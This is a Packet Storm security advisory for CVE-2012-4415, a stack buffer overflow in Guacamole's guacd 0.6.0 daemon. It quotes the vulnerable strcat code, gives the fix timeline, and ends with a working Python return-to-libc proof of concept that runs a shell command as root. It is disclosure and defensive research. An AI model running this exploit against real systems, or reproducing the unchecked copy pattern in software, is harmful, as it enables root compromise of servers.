Guacamole 0.6.0 Buffer Overflow

2012-09-25T00:00:00
ID PACKETSTORM:116835
Type packetstorm
Reporter Timo Juhani Lindfors
Modified 2012-09-25T00:00:00

Description

                                        
                                            `Overview  
========  
  
"Guacamole is an HTML5 web application that provides access to desktop  
environments using remote desktop protocols such as VNC or RDP. A  
centralized server acts as a tunnel and proxy, allowing access to  
multiple desktops through a web browser. No plugins are needed: the  
client requires nothing more than a web browser supporting HTML5 and  
AJAX."  
  
-- http://guac-dev.org/  
  
guacamole 0.6.0 contains a trivial buffer overflow vulnerability that  
allows connected users to execute code with the privileges of the guacd  
daemon. In the Debian distribution the guacd 0.6.0-1 daemon runs as root  
and allows connections from unauthenticated users. However, it  
fortunately only listens on localhost by default.  
  
Analysis  
========  
  
The server part of guacamole consists of a web application written in  
Java and a proxy daemon ("guacd") written in C. The proxy part parses  
the guacamole protocol using the libguac library. This library contains  
a trivial buffer overflow vulnerability. As you can see in the following  
quote the code fails to validate the length of the user supplied input  
before using strcpy to copy it to a fixed size buffer in stack:  
  
guac_client_plugin* guac_client_plugin_open(const char* protocol) {  
  
guac_client_plugin* plugin;  
  
/* Reference to dlopen()'d plugin */  
void* client_plugin_handle;  
  
/* Client args description */  
const char** client_args;  
  
/* Pluggable client */  
char protocol_lib[256] = "libguac-client-";  
  
union {  
guac_client_init_handler* client_init;  
void* obj;  
} alias;  
  
/* Add protocol and .so suffix to protocol_lib */  
strcat(protocol_lib, protocol);  
strcat(protocol_lib, ".so");  
  
/* Load client plugin */  
client_plugin_handle = dlopen(protocol_lib, RTLD_LAZY);  
if (!client_plugin_handle) {  
guac_error = GUAC_STATUS_BAD_ARGUMENT;  
guac_error_message = dlerror();  
return NULL;  
  
  
Timeline  
========  
  
2012-08-23 Vulnerability discovered and reported to upstream  
2012-08-23 Upstream fixes the issue in http://guac-dev.org/trac/changeset/7dcefa744b4a38825619c00ae8b47e5bae6e38c0/libguac  
2012-09-12 Fixed version (libguac 0.6.0-2) is uploaded to Debian  
2012-09-19 Upstream releases 0.6.3 that includes the fix  
  
Proof of concept  
================  
  
#!/usr/bin/python  
# CVE-2012-4415: PoC for guacd buffer overflow vulnerability  
#  
# Copyright (c) 2012 Timo Juhani Lindfors <timo.lindfors@iki.fi>  
#  
# Allows arbitrary code execution on Debian i386 guacd 0.6.0-1 with  
# default configuration. Uses return-to-libc to bypass non-executable  
# stack.  
#  
import socket, struct  
PROTOCOL_ADDRESS = 0xbf807e9f  
SYSTEM_ADDRESS = 0xb76e7640  
class GuacdPOC:  
def __init__(self, command):  
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
self.sock.connect(('localhost', 4822))  
self.s("select")  
self.c(",")  
protocol = (command + "; " + "#" * 265)[:265]  
protocol += struct.pack("L", PROTOCOL_ADDRESS)  
protocol += struct.pack("L", SYSTEM_ADDRESS)  
self.s(protocol)  
self.c(";")  
def s(self, x):  
self.sock.send("%d.%s" % (len(x), x))  
def c(self, x):  
self.sock.send(x)  
GuacdPOC("touch /tmp/owned")  
`